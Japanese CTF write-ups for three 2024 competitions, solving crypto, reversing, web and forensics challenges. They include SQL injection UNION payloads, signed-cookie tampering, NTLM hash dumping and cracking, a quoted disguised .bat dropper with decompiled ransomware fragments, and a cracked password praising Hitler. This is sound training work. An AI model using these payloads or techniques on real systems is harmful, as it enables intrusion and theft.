bi0sCTF 2024 Writeup

この大会は2024/2/24 21:00(JST)~2024/2/26 9:00(JST)に開催されました。
今回もチームで参戦。結果は201点で294チーム中113位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (Misc)

Discordに入り、各チャネルを見るが、フラグは見当たらない。
#announcementsチャネルのCTF開始のメッセージあたりがあやしい。以下のように書いてあるが、文字が隠されているのかもしれない。

"Welcome" to the game https://ctf.bi0s.in/

Sakuraエディタにコピーする。

"Welcome" to the game https://bi0sctf%7Bh1dd3n_1n_pl41n_s1ght%7D:hehe@ctf.bi0s.in/

フラグが含まれていた。

bi0sctf{h1dd3n_1n_pl41n_s1ght}

lalala (Cryptography)

unknowsまで割り出すことができれば、下3桁がフラグの{}の中の各文字のASCIIコードになるので、フラグを割り出せる。
unknowsを割り出す方法を考える必要がある。
100種類の以下の値がわかっている。

aa(0~2**1024のリスト), bb(0~9のリスト), cc(0~9のリスト), 
sum([a + unknowns[b]^2 * unknowns[c]^3 for a, b, c in zip(aa, bb, cc)]) % p

aaの合計値は分かっているので、以下のような値の合計値がわかっていることになる。

x00 * unknowns[0]^2 * unknowns[0]^3 + x01 * unknowns[0]^2 * unknowns[1]^3 + ... + x99 * unknowns[9]^2 * unknowns[9]^3

x00~x99の値がわかるので、100元方程式として各(unknowns[b]^2 * unknowns[c]^3) % pの値を算出できる。各iについて、以下の式が導ける

pow(unknowns[i], 5, p) = Ci

unknowns[i]の5乗がpに届かないと推測し、5乗根を求めることによってunknowns[i]を算出する。

#!/usr/bin/env sage
with open('out.py', 'r') as f:
    params = f.read().splitlines()

p = int(params[0].split(' = ')[1])
output = eval(params[1].split(' = ')[1])

rows = []
C = []
for i in range(0, len(output), 4):
    aa = output[i]
    bb = output[i + 1]
    cc = output[i + 2]
    S = output[i + 3]
    C.append([(S - sum(aa)) % p])
    row = [0] * 100
    for j in range(1000):
        index = bb[j] * 10 + cc[j]
        row[index] += 1
    rows.append(row)

M = matrix(Zmod(p), rows)
C = matrix(Zmod(p), C)
X = M.inverse() * C

e = 5
flag = ''
for i in range(10):
    c = int(X[i * 11][0])
    m = c ^ (1 / e)
    assert m ^ e == c
    flag += chr(m % 1000)

flag = 'bi0sctf{%s}' % flag
print(flag)
bi0sctf{8d522ae1a7}

Feedback (Misc)

アンケートに答えたら、フラグが表示された。

bi0sctf{th4nk5_f0r_pl4y1ng_bi0sctf2024}

LA CTF 2024 Writeup

この大会は2024/2/17 13:00(JST)~2024/2/19 7:00(JST)に開催されました。
今回もチームで参戦。結果は5359点で1074チーム中110位でした。
自分で解けた問題をWriteupとして書いておきます。

rules (welcome)

HomeのページのScoringの説明の中にフラグが書いてあった。

lactf{i_read_the_rules}

discord (welcome)

Discordに入り、#generalチャネルのピン止めされたメッセージを見ると、フラグが書いてあった。

lactf{i'm_in_the_discord_server!}

infinite loop (misc)

HTMLソースを見ると、以下の部分が見つかる。

[1736602043,"Flag part 1: lactf{l34k1ng_4h3",null,6,null,null,null,null,null,null,null,[null,"Flag part 1: lactf{l34k1ng_4h3"]]],["Flag part 2: _f04mz_s3cr3tz}",1,0,0,0]
lactf{l34k1ng_4h3_f04mz_s3cr3tz}

mixed signals (misc)

Go Transcribeで文字に起こすと、以下のようになった。

Lima. Alpha. Charlie. Tango. Foxtrot. Open. Brace. Charlie. 
4th November. Underscore. Yankee. Zero. Uniform. 
Underscore. Papa. Lima. Zulu. Underscore. Uniform. 
November. Mike one. X-ray. Underscore. Mike. Yankee. 
Underscore. Sierra one. Golf. November 4th. Lima. Zulu. End. Brace. 

Braceは"{"や"}"、Underscoreはそのまま"_"にして、その他は頭文字を取ったり、数字に置き換えたりする。

lactf{c4n_y0u_plz_unm1x_my_s1gn4lz}

one by one (misc)

HTMLソースのJSON部分を整形してみてみる。

            [
                1904478792,
                "0 - Select a letter, any letter:",
                null,
                3,
                [
                    [
                        561191505,
                        [
                            [
                                "0",
                                null,
                                556692759
                            ],
                            [
                                "1",
                                null,
                                556692759
                            ],
                        :
                        :
                            [
                                "k",
                                null,
                                556692759
                            ],
                            [
                                "l",
                                null,
                                1540876785
                            ],
                            [
                                "m",
                                null,
                                556692759
                        :
                        :

"l"だけ値が異なる。次も見てみる。

            [
                810769981,
                "1 - Select a letter, any letter:",
                null,
                3,
                [
                    [
                        670140814,
                        [
                            [
                                "0",
                                null,
                                1950887260
                            ],
                        :
                        :
                            [
                                "9",
                                null,
                                1950887260
                            ],
                            [
                                "a",
                                null,
                                1973202083
                            ],
                            [
                                "b",
                                null,
                                1950887260
                            ],
                        :
                        :

"a"だけ値が異なる。異なる値の文字を連結すればフラグになりそう。各インデックスで値が異なるので、ここまでと同様に一つ一つ見ていき、異なる値の文字を書き出していく。

lactf{1_by_0n3_by3_un0_*,"g1'}

shattered-memories (rev)

$ strings shattered-memories | grep -A 5 -B 5 lactf
What was the flag again?
No, I definitely remember it being a different length...
t_what_f
t_means}
nd_forge
lactf{no
orgive_a
No, that definitely isn't it.
I'm pretty sure that isn't it.
I don't think that's it...
I think it's something like that but not quite...

文がつながるように結合する。

lactf{not_what_forgive_and_forget_means}

aplet321 (rev)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  size_t sVar2;
  char *pcVar3;
  int iVar4;
  int iVar5;
  char local_238;
  char acStack_237 [519];
  
  setbuf(stdout,(char *)0x0);
  puts("hi, i\'m aplet321. how can i help?");
  fgets(&local_238,0x200,stdin);
  sVar2 = strlen(&local_238);
  if (5 < sVar2) {
    iVar4 = 0;
    iVar5 = 0;
    pcVar3 = &local_238;
    do {
      iVar1 = strncmp(pcVar3,"pretty",6);
      iVar5 = iVar5 + (uint)(iVar1 == 0);
      iVar1 = strncmp(pcVar3,"please",6);
      iVar4 = iVar4 + (uint)(iVar1 == 0);
      pcVar3 = pcVar3 + 1;
    } while (pcVar3 != acStack_237 + ((int)sVar2 - 6));
    if (iVar4 != 0) {
      pcVar3 = strstr(&local_238,"flag");
      if (pcVar3 == (char *)0x0) {
        puts("sorry, i didn\'t understand what you mean");
        return 0;
      }
      if ((iVar5 + iVar4 == 0x36) && (iVar5 - iVar4 == -0x18)) {
        puts("ok here\'s your flag");
        system("cat flag.txt");
        return 0;
      }
      puts("sorry, i\'m not allowed to do that");
      return 0;
    }
  }
  puts("so rude");
  return 0;
}

以下の条件を満たす必要がある。

iVar5 + iVar4 == 0x36
iVar5 - iVar4 == -0x18

連立方程式になっているので、解いてみる。

iVar5 * 2 = 30 → iVar5 = 15 → iVar4 = 39

入力文字列に"pretty"が15個、"please"が39個と"flag"が含まれていればよい。

>>> "pretty" * 15 + "please" * 39
'prettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettypleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleaseplease'
$ nc chall.lac.tf 31321
hi, i'm aplet321. how can i help?
prettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettypleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleaseflag
ok here's your flag
lactf{next_year_i'll_make_aplet456_hqp3c1a7bip5bmnc}
lactf{next_year_i'll_make_aplet456_hqp3c1a7bip5bmnc}

flaglang (web)

app.jsを確認すると、/switchでは以下のようになっていることがわかる。

app.get('/switch', (req, res) => {
  if (!req.query.to) {
    res.status(400).send('please give something to switch to');
    return;
  }
  if (!countries.has(req.query.to)) {
    res.status(400).send('please give a valid country');
    return;
  }
  const country = countryData[req.query.to];
  if (country.password) {
    if (req.cookies.password === country.password) {
      res.cookie('iso', country.iso, { signed: true });
    }
    else {
      res.status(400).send(`error: not authenticated for ${req.query.to}`);
      return;
    }
  }
  else {
    res.cookie('iso', country.iso, { signed: true });
  }
  res.status(302).redirect('/');
});

クエリーパラメータ"to"で国名を指定し、countries.yamlで該当する国でパスワードを持っている場合、クエリーパラメータ"password"も一致している必要がある。
countries.yamlを見ると、フラグに関係する部分が国として以下の設定がされている。

Flagistan:
  iso: FL
  msg: "<REDACTED>"
  password: "<REDACTED>"
  deny: 
    ["AF","AX","AL","DZ","AS","AD","AO","AI","AQ","AG","AR","AM","AW","AU","AT","AZ","BS","BH","BD","BB","BY","BE","BZ","BJ","BM","BT","BO","BA","BW","BV","BR","IO","BN","BG","BF","BI","KH","CM","CA","CV","KY","CF","TD","CL","CN","CX","CC","CO","KM","CG","CD","CK","CR","CI","HR","CU","CY","CZ","DK","DJ","DM","DO","EC","EG","SV","GQ","ER","EE","ET","FK","FO","FJ","FI","FR","GF","PF","TF","GA","GM","GE","DE","GH","GI","GR","GL","GD","GP","GU","GT","GG","GN","GW","GY","HT","HM","VA","HN","HK","HU","IS","IN","ID","IR","IQ","IE","IM","IL","IT","JM","JP","JE","JO","KZ","KE","KI","KR","KP","KW","KG","LA","LV","LB","LS","LR","LY","LI","LT","LU","MO","MK","MG","MW","MY","MV","ML","MT","MH","MQ","MR","MU","YT","MX","FM","MD","MC","MN","ME","MS","MA","MZ","MM","NA","NR","NP","NL","AN","NC","NZ","NI","NE","NG","NU","NF","MP","NO","OM","PK","PW","PS","PA","PG","PY","PE","PH","PN","PL","PT","PR","QA","RE","RO","RU","RW","BL","SH","KN","LC","MF","PM","VC","WS","SM","ST","SA","SN","RS","SC","SL","SG","SK","SI","SB","SO","ZA","GS","ES","LK","SD","SR","SJ","SZ","SE","CH","SY","TW","TJ","TZ","TH","TL","TG","TK","TO","TT","TN","TR","TM","TC","TV","UG","UA","AE","GB","US","UM","UY","UZ","VU","VE","VN","VG","VI","WF","EH","YE","ZM","ZW"]

もちろんmsgもpasswordもわからない。
app.jsを確認すると、他に/viewがあり、以下のようになっていることがわかる。

app.get('/view', (req, res) => {
  if (!req.query.country) {
    res.status(400).json({ err: 'please give a country' });
    return;
  }
  if (!countries.has(req.query.country)) {
    res.status(400).json({ err: 'please give a valid country' });
    return;
  }
  const country = countryData[req.query.country];
  const userISO = req.signedCookies.iso;
  if (country.deny.includes(userISO)) {
    res.status(400).json({ err: `${req.query.country} has an embargo on your country` });
    return;
  }
  res.status(200).json({ msg: country.msg, iso: country.iso });
});

クエリーパラメータ"country"を指定して該当する。特にパスワードやシグネチャの比較はしていないので、ここでFlagistanのmsgを取得できそう。
https://flaglang.chall.lac.tf/で、「You are from」にJapanを指定すると、クッキー"iso"に以下が設定されていた。

s%3AJP.wQN7%2F%2B4NXf1pZjstKNN7%2B3c97EqMdizyrZVxoiG2kFQ

s%3Aの後ろに国コード(iso)が付いている。
https://flaglang.chall.lac.tf/view?country=Japanにアクセスすると、以下のレスポンスがあった。

{"msg":"こんにちは、世界","iso":"JP"}

https://flaglang.chall.lac.tf/view?country=Flagistanにアクセスすると、以下のレスポンスがあった。

{"err":"Flagistan has an embargo on your country"}

試しにクッキー"iso"の国コード部分の"JP"を"FL"に修正して、再度アクセスしてみると、メッセージにフラグがあった。

{"msg":"lactf{n0rw3g7an_y4m7_f4ns_7n_sh4mbl3s}","iso":"FL"}
lactf{n0rw3g7an_y4m7_f4ns_7n_sh4mbl3s}

la housing portal (web)

SQLインジェクションの問題。検索条件にnameは指定できるが、SQLにこのnameは含まれない。また、keyやvalueに"--"や"/*"を含めることはできない。コメントを使わずにSQLインジェクションすることを考える。
BurpSuiteでInterceptしながら、POSTするパラメータを変更して、検索する。試しにawakeに以下を指定してみる。

' union select 0,1,2,3,4,5 '

URLデコードすると、以下のようになるので、これを指定する。

'%20union%20select%200%2C1%2C2%2C3%2C4%2C5%20'


これでForwardすると、以下のように表示された。

SQLインジェクションできた。flagテーブルのflagカラムにフラグが設定されているので、それを取得するようにする。
awakeに以下を指定する。

' union select 0,1,2,3,4,flag from flag '

URLデコードすると、以下のようになるので、これを指定する。

'%20union%20select%200%2C1%2C2%2C3%2C4%2Cflag%20from%20flag%20'


これでForwardすると、以下のように表示され、フラグを取得できた。

lactf{us3_s4n1t1z3d_1npu7!!!}

very-hot (crypto)

RSA暗号でnの素因数のp, q, rは以下を満たすことがわかっている。

q = p + 6
r = p + 12

nはpの3次方程式になるので、pを算出でき、q, rも算出できる。あとは通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *
import sympy

with open('out.txt', 'r') as f:
    params = f.read().splitlines()

n = int(params[0].split(' ')[1])
e = int(params[1].split(' ')[1])
ct = int(params[2].split(' ')[1])

p = sympy.Symbol('p')
eq = p * (p + 6) * (p + 12) - n
ps = sympy.solve(eq)
for p in ps:
    if p.is_Integer:
        p = int(p)
        break

q = p + 6
r = p + 12
assert p * q * r == n

phi = (p - 1) * (q - 1) * (r - 1)
d = inverse(e, phi)
m = pow(ct, d, n)
flag = long_to_bytes(m).decode()
print(flag)
lactf{th4t_w45_n0t_so_53xY}

valentines-day (crypto)

Vigenere暗号だが、鍵の長さが161バイトもある。intro.txtにはスペース含めて先頭133バイトの平文がある。まずわかっている範囲で鍵を求める。

NEVERGONNAGIVEYOUUPNEVERGONNALETYOUDOWNNEVERGONNARUNAROUNDANDDESERTYOUNEVERGONNAMAKEYOUCRYNEVERGONNASAYGOO

英文になっているようなのでスペースを入れてわかりやすく整形する。

NEVER GONNA GIVE YOU UP
NEVER GONNA LET YOU DOWN
NEVER GONNA RUN AROUND AND DESERT YOU
NEVER GONNA MAKE YOU CRY
NEVER GONNA SAY GOO

Never gonna give you upの歌詞になっているようなので、その続きを161バイトが判明するまで書き下す。

NEVER GONNA GIVE YOU UP
NEVER GONNA LET YOU DOWN
NEVER GONNA RUN AROUND AND DESERT YOU
NEVER GONNA MAKE YOU CRY
NEVER GONNA SAY GOODBYE             ※ここまで110バイト
NEVER GONNA TELL A LIE AND HURT YOU ※ここまで138バイト
WEVE KNOWN EACH OTHER FOR SO LONG   ※ここまで165バイト

鍵がわかったらそれを元に復号する。

#!/usr/bin/env python3
from string import *

with open('intro.txt', 'r') as f:
    intro = f.read()

with open('ct.txt', 'r') as f:
    ct = f.read()

key = ''
for i in range(len(intro)):
    if ct[i] in ascii_uppercase:
        index = ascii_uppercase.index(ct[i]) - ascii_uppercase.index(intro[i])
        key += ascii_uppercase[index]
    elif ct[i] in ascii_lowercase:
        index = ascii_lowercase.index(ct[i]) - ascii_lowercase.index(intro[i])
        key += ascii_uppercase[index]

key += 'DBYE'
key += 'NEVERGONNATELLALIEANDHURTYOU'
key += 'WEVEKNOWNEACHOTHERFORSO'

pt = ''
i_key = 0
for i in range(len(ct)):
    if ct[i] in ascii_uppercase:
        index = ascii_uppercase.index(ct[i]) - ascii_uppercase.index(key[i_key % len(key)])
        pt += ascii_uppercase[index]
        i_key += 1
    elif ct[i] in ascii_lowercase:
        index = ascii_lowercase.index(ct[i]) - ascii_uppercase.index(key[i_key % len(key)])
        pt += ascii_lowercase[index]
        i_key += 1
    else:
        pt += ct[i]
print(pt)

復号結果は以下の通りで、文中にフラグが書いてあった。

On this Valentine's day, I wanted to show my love for professor Paul Eggert. This challenge is dedicated to him. Enjoy the challenge!

I was sitting in the hot, steamy room of Fddgk 1178 wlrcwduxp homgzak bvuh and every exam problem, then searching through my slide print-outs for the closest match and then just writing it down and hoping for the best, when all of a sudden I stumnoxo oaol kqn clucflfa: "axn ting banned in China?"

I remembered the wise words that my TA once told me:

Bing was never banned in China. Naive undergrad. Rent a virtual machine and check.

That's when I realilhw, ebp evrv fmj q dqvk npi vdong. And I had managed to crack the code. I had to rent a lnxsrv and check. Under my breath, I muttered the words export PATH=/usr/local/cs/bin:$PATH, and then the following:

cat ~eggqum/qcyajvgjyrdcihixiv.opt | less
lactf{known_plaintext_and_were_off_to_the_races}

Suddenly, chilling wind brushed over my back.

After one and a half hours, they had finally managed to turn on the AC in fkx wyntsin qmcb.

S odlgmlpkly read through the answer key, slowly copying down the right answers onto my long, thick answer sheet when I hear Eggert scream C-s Student Who Is Cheating Off The Answer Whr th siq ejcumu oydtf xliyue. I was in total shock. Shivering, I looked down at the front of the classroom, and watched as Eggert slowly turned his head until it locked onto me. "I will pkill you," he echoep. L plm qrmqnw mk ci phjx eky uould only watch as he summoned his stand [BIRTHPLACE OF THE INTERNET].

I boelted from my seat, jumping over several unlucky students' desks and sprinting up the stairs and axm zz Qryei rzke dth Tbyoo gf Sciences. But I could sense that Eggert was close on my tail. He summoned a dozen copies of himself with calls to pthread_create(), and they proceeded to chase me as I ran towmuwd nse krcqety lglcqmkb. A hastily grabbed the door to enter mathsci, when one of the Eggert threads shouted "chmod a-x MATHSCI DOOR." I tried opening the door, but it shouted at me: "Permission denied." I edbo "lx -f bfxa" met bmq zaxl oze mathsci building.

I ran desperately from the Eggert clones, but soon found myself out of breath, because I'm a CS major and I sit at my desk all day. Suddenly, I saw one of Eggedw'l nfzncj adz uegz wyr lxgdway. I quickly opened the door next to me and stepped inside, breathing a sigh of relief. But then I turned myself around and screamed.

"Welcome to my office." Eggert echoed. "Yog'yx xuoe gk bx rrh. S ode giig lhat you have a good grasp of the fundamentals of commonly-used software tools and environments, particularly open-source tools likely to be used in upper-division combxmpl dcgvwlq teedvvf."

M tcampered and backed into the corner of his office.

"You may be wondering how you got here. I created a symbolic link between mathsci 6229 and my office here in Engineering VI. I wanf bhf nz klff ctrj S ire'g lrml you. I was merely testing you."

I gulped and looked into his eyes. "Really?"

"Yes..." Eggert replied, "In fact, I brought you here into my office to ask you one very important question."

"Wtdm?" T meurknaqu.

Uqshig pbvfed back in his chair, smiling. "You see, for the past several years I have been building up a team of highly capable individuals, ones that can anticipate foreign cybersecudlmj nsrcrcb riew borpip nmch as USC and stop them. I use the class CS35L in order to sort through all of UCLA's undergraduate CS students, and find the ones with the potential to join this league of cybed kxcips."

"Ryjc'e... Kxkf'v zztlnkible..." I said.

"You probably haven't realized it yet," Eggert explained, "but while running away from me you were able to utilize a multitude of linux commands in order to escapq pr hlltf. Ux hal kxphifxxiv what that means?"

"Uh...." I said, realizing it was quite strange I was able to verbally incantate gnu coreutils, "y-yeah, I guess...?"

Eggert gazed so deeply into my soul I felt as if he hap uny nse afvvmet das fa qv dfternal organs. "Join me, and together we will curve down the world."

source: https://www.reddit.com/r/ucla/comments/b2d4zz/my_experience_with_the_cs35l_final/
lactf{known_plaintext_and_were_off_to_the_races}

selamat pagi (crypto)

フラグの形式からわかる範囲で復号する。

*** a*ala* ***a* *a** a*a* ****a* *******a
T**a* a*a *a** ta** a*a *a** *a*a *ata*a* :*
******a *a** a*a ** ****: lactf{**la*at_*a**_a*a*a*_*a**_***a_a*al****_f********}

インドネシア語の英単語から予測しながら、対応付けする。

#!/usr/bin/env python3
from string import *

with open('message.txt', 'r') as f:
    ct = f.read()

C = 'abcdefghijklmnopqrstuvwxyz'
P = 'ylpmin**tuabf***d*grkcsh*e'

pt = ''
for c in ct:
    if c in ascii_uppercase:
        index = C.index(c.lower())
        pt += P[index].upper()
    elif c in ascii_lowercase:
        index = C.index(c)
        pt += P[index]
    else:
        pt += c

print(pt)
Ini adalah pesan yang aman dengan sempurna
Tidak ada yang tahu apa yang saya katakan :D
Bendera kamu ada di sini: lactf{selamat_pagi_apakah_kamu_suka_analisis_frekuensi}
lactf{selamat_pagi_apakah_kamu_suka_analisis_frekuensi}

BITSCTF 2024 Writeup

この大会は2024/2/16 3:30(JST)~2024/2/18 3:30(JST)に開催されました。
今回もチームで参戦。結果は2679点で921チーム中38位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (MISC)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

BITSCTF{w3Lc0mE_70_BITSCTF-2024}

baby-rev (REV)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  size_t sVar1;
  long in_FS_OFFSET;
  char local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Enter a string: ");
  fgets(local_38,0x20,stdin);
  sVar1 = strlen(local_38);
  if (sVar1 == 0x18) {
    myfunc(local_38);
  }
  else {
    puts(":P\n");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

void myfunc(char *param_1)

{
  if (*param_1 == 'B') {
    if (((((((param_1[4] == 'C') && (param_1[0xd] == 'm')) && (param_1[0x13] == 'r')) &&
          (((param_1[3] == 'S' && (param_1[10] == 'l')) &&
           ((param_1[2] == 'T' && ((param_1[0xe] == 'e' && (param_1[0x11] == '0')))))))) &&
         ((param_1[0x16] == '}' &&
          (((param_1[7] == '{' && (param_1[5] == 'T')) && (param_1[0xf] == '_')))))) &&
        (((param_1[1] == 'I' && (param_1[0x15] == 'v')) &&
         (((param_1[8] == 'w' && ((param_1[0xb] == 'c' && (param_1[6] == 'F')))) &&
          (param_1[0x14] == '3')))))) &&
       ((((param_1[9] == '3' && (param_1[0xc] == '0')) && (param_1[0x10] == 't')) &&
        (param_1[0x12] == '_')))) {
      puts("Yippee :3\n");
    }
  }
  else {
    puts(":PP\n");
  }
  return;
}

このコードから入力文字列の長さは改行を含め24バイトで、myfuncの各インデックスごとのチェックを満たすものということがわかる。

          1111111111222
01234567890123456789012
BITSCTF{w3lc0me_t0_r3v}
BITSCTF{w3lc0me_t0_r3v}

Intro to DFIR (DFIR)

問題にフラグが書いてあった。

BITSCTF{DFIR_r0ck55}

Access Granted! (DFIR)

$ python3 vol.py -f memdump.mem windows.info
        :
        :
Kernel Base	0xf80611800000
DTB	0x1aa000
Symbols	file:///home/ctf/volatility3/volatility3/symbols/windows/ntkrnlmp.pdb/D9424FC4861E47C10FAD1B35DEC6DCC8-1.json.xz
Is64Bit	True
IsPAE	False
layer_name	0 WindowsIntel32e
memory_layer	1 FileLayer
KdVersionBlock	0xf8061240f400
Major/Minor	15.19041
MachineType	34404
KeNumberProcessors	4
SystemTime	2024-02-15 16:37:18
NtSystemRoot	C:\Windows
NtProductType	NtProductWinNt
NtMajorVersion	10
NtMinorVersion	0
PE MajorOperatingSystemVersion	10
PE MinorOperatingSystemVersion	0
PE Machine	34404
PE TimeDateStamp	Mon Dec  9 11:07:51 2019

$ python3 vol.py -f memdump.mem windows.hashdump
Volatility 3 Framework 2.5.2
Progress:  100.00		PDB scanning finished                          
User	rid	lmhash	nthash

Administrator	500	aad3b435b51404eeaad3b435b51404ee	8a320467c7c22e321c3173e757194bb3
Guest	501	aad3b435b51404eeaad3b435b51404ee	31d6cfe0d16ae931b73c59d7e0c089c0
DefaultAccount	503	aad3b435b51404eeaad3b435b51404ee	31d6cfe0d16ae931b73c59d7e0c089c0
WDAGUtilityAccount	504	aad3b435b51404eeaad3b435b51404ee	74d0db3c3f38778476a44ff9ce0aefe2
MogamBro	1000	aad3b435b51404eeaad3b435b51404ee	8a320467c7c22e321c3173e757194bb3

CrackStationで以下のNTLMハッシュをクラックする。

8a320467c7c22e321c3173e757194bb3

パスワードは以下であることがわかる。

adolfhitlerrulesallthepeople
BITSCTF{adolfhitlerrulesallthepeople}

0.69 Day (DFIR)

artifacts.ad1をFTK Imagerで開き、C:\Users\MogamBro\AppData\Roamingを見ると、WinRARフォルダがある。WinRARの脆弱性を調べると、以下のCVEが見つかった。

CVE-2023-38831
BITSCTF{CVE-2023-38831}

I'm wired in (DFIR)

artifacts.ad1をFTK Imagerで開き、C:\Users\MogamBro\Desktopを見ると、keylog.pcapngがある。USBキーボードの入力をスキャンしたもののようなので、キー入力を読み取る。

#!/usr/bin/env python3
from scapy.all import *

keymap = { 0x04: ('a', 'A'), 0x05: ('b', 'B'), 0x06: ('c', 'C'),
           0x07: ('d', 'D'), 0x08: ('e', 'E'), 0x09: ('f', 'F'),
           0x0a: ('g', 'G'), 0x0b: ('h', 'H'), 0x0c: ('i', 'I'),
           0x0d: ('j', 'J'), 0x0e: ('k', 'K'), 0x0f: ('l', 'L'),
           0x10: ('m', 'M'), 0x11: ('n', 'N'), 0x12: ('o', 'O'),
           0x13: ('p', 'P'), 0x14: ('q', 'Q'), 0x15: ('r', 'R'),
           0x16: ('s', 'S'), 0x17: ('t', 'T'), 0x18: ('u', 'U'),
           0x19: ('v', 'V'), 0x1a: ('w', 'W'), 0x1b: ('x', 'X'),
           0x1c: ('y', 'Y'), 0x1d: ('z', 'Z'), 0x1e: ('1', '!'),
           0x1f: ('2', '@'), 0x20: ('3', '#'), 0x21: ('4', '$'),
           0x22: ('5', '%'), 0x23: ('6', '^'), 0x24: ('7', '&'),
           0x25: ('8', '*'), 0x26: ('9', '('), 0x27: ('0', ')'),
           0x28: ('\x0a', '\x0a'), 0x29: ('\x1b', '\x1b'),
           0x2a: ('\x08', '\x08'), 0x2b: ('\x09', '\x09'),
           0x2c: ('\x20', '\x20'), 0x2d: ('-', '_'),
           0x2e: ('=', '+'), 0x2f: ('[', '{'), 0x30: (']', '}'),
           0x31: ('\\', '|'), 0x33: (';', ':'), 0x34: ('\'', '\"'),
           0x35: ('`', '~'), 0x36: (',', '<'), 0x37: ('.', '>'),
           0x38: ('/', '?')}

packets = rdpcap('keylog.pcapng')

flag = ''
for p in packets:
    buf = p['Raw'].load
    if len(buf) == 35 and buf[29] != 0:
        if buf[27] == 0:
            flag += keymap[buf[29]][0]
        elif buf[27] == 2:
            flag += keymap[buf[29]][1]

print(flag)

実行結果は以下の通り。

I haveebeen haakee  !!!
HELLMEE
BITSCTF{I_-7h1nk_th3y_4Re_k3yl0991ng_ME!}

~ MogamBro

このフラグはダメだった。"-"を削除したら、通った。

BITSCTF{I_7h1nk_th3y_4Re_k3yl0991ng_ME!}

Bypassing Transport Layer (DFIR)

artifacts.ad1をFTK Imagerで開き、C:\Users\MogamBro\Desktop\keysをエクスポートする。

このkeysはSSLKEYLOGFILEのようだ。

Wiresharkでtrace.pcapを開き、[編集]-[設定]を選択する。設定画面の[Protocols]-[TLS]を選択し、[(Pre)-Master-Secret log filename]にkeysのファイルパスを指定する。
これでTLS通信パケットを復号できる。パケット詳細を"BITSCTF"で検索すると、HTTP2の通信のNo.64663のパケットが引っかかる。該当するデータを見ると、以下のようになっている。

</div></li><li class="li1"><div class="de1">Anyways here's your flag - BITSCTF{5te4l1ng_pr1v47e_key5_ez:)}</div></li></ol>        </div>\n
BITSCTF{5te4l1ng_pr1v47e_key5_ez:)}

Lottery (DFIR)

artifacts.ad1をFTK Imagerで開き、C:\Users\MogamBro\Downloadsを見ると、Follow-these-instructions.zipがあるので、エクスポートする。zipファイルを7zip File Managerで開き、steps.pdfフォルダ配下のsteps.pdf.batを見てみると、以下のように書いてある。

if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit
@echo off
lottery.exe & start chrome -incognito https://pastebin.com/mPvzn0AD & notepad.exe secret.png.enc & curl google.com -o steps.pdf & steps.pdf
exit

C:\Users\MogamBro\Downloadsにはlottery.exeもあるので、エクスポートする。バイナリエディタで見ると、Python製のexeのようなので、デコンパイルする。

$ python3 pyinstxtractor.py lottery.exe 
[+] Processing lottery.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.8
[+] Length of package: 9008682 bytes
[+] Found 122 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_setuptools.pyc
[+] Possible entry point: pyi_rth_pkgres.pyc
[+] Possible entry point: lottery.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.8 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: lottery.exe

You can now use a python decompiler on the pyc files within the extracted directory

$ pycdc lottery.exe_extracted/lottery.pyc 
# Source Generated with Decompyle++
# File: lottery.pyc (Python 3.8)

import os
import tempfile
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

def generate_key():
    key = os.urandom(32)
    fp = tempfile.TemporaryFile('w+b', False, **('mode', 'delete'))
    fp.write(key)
    return key


def encrypt_file(file_path, key):
Unsupported opcode: BEGIN_FINALLY
    iv = b'urfuckedmogambro'
# WARNING: Decompyle incomplete

if __name__ == '__main__':
    key = generate_key()
    file_path = 'secret.png'
    encrypt_file(file_path, key)
    print('Dear MogamBro, we are fucking your laptop with a ransomware & your secret image is now encrypted! Send $69M to recover it!')

keyは一時ファイルを作成し、削除はされていない。出力パスはC:\Users\MogamBro\AppData\Local\Temp配下でtmpから始まるファイル名のファイルになる。tmpd1tif_2aがあったので、エクスポートする。
C:\Users\MogamBro\Downloadsにsecret.png.encがあるので、エクスポートする。このファイルは暗号化されているが、keyは上記の一時ファイルにあり、ivもわかっているので、復号できる。

#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

with open('secret.png.enc', 'rb') as f:
    enc = f.read()

with open('tmpd1tif_2a', 'rb') as f:
    key = f.read()

iv = b'urfuckedmogambro'

cipher = AES.new(key, AES.MODE_CBC, iv)
dec = cipher.decrypt(enc)
pad = dec[-1]
assert dec[-pad:] == bytes([pad]) * pad
dec = dec[:-pad]

with open('secret.png', 'wb') as f:
    f.write(dec)

復号した画像にフラグが書いてあった。

BITSCTF{1_r3c3ived_7h3_b0mbz}

Baby RSA (CRYPTO)

行列のRSA暗号になっている。gがフラグを4分割した2×2の行列、cが暗号化後の行列、e = 65537とすると、以下のように暗号化されている。

g ** e = c mod n

nをfactordbで素因数分解する。

n = p * q
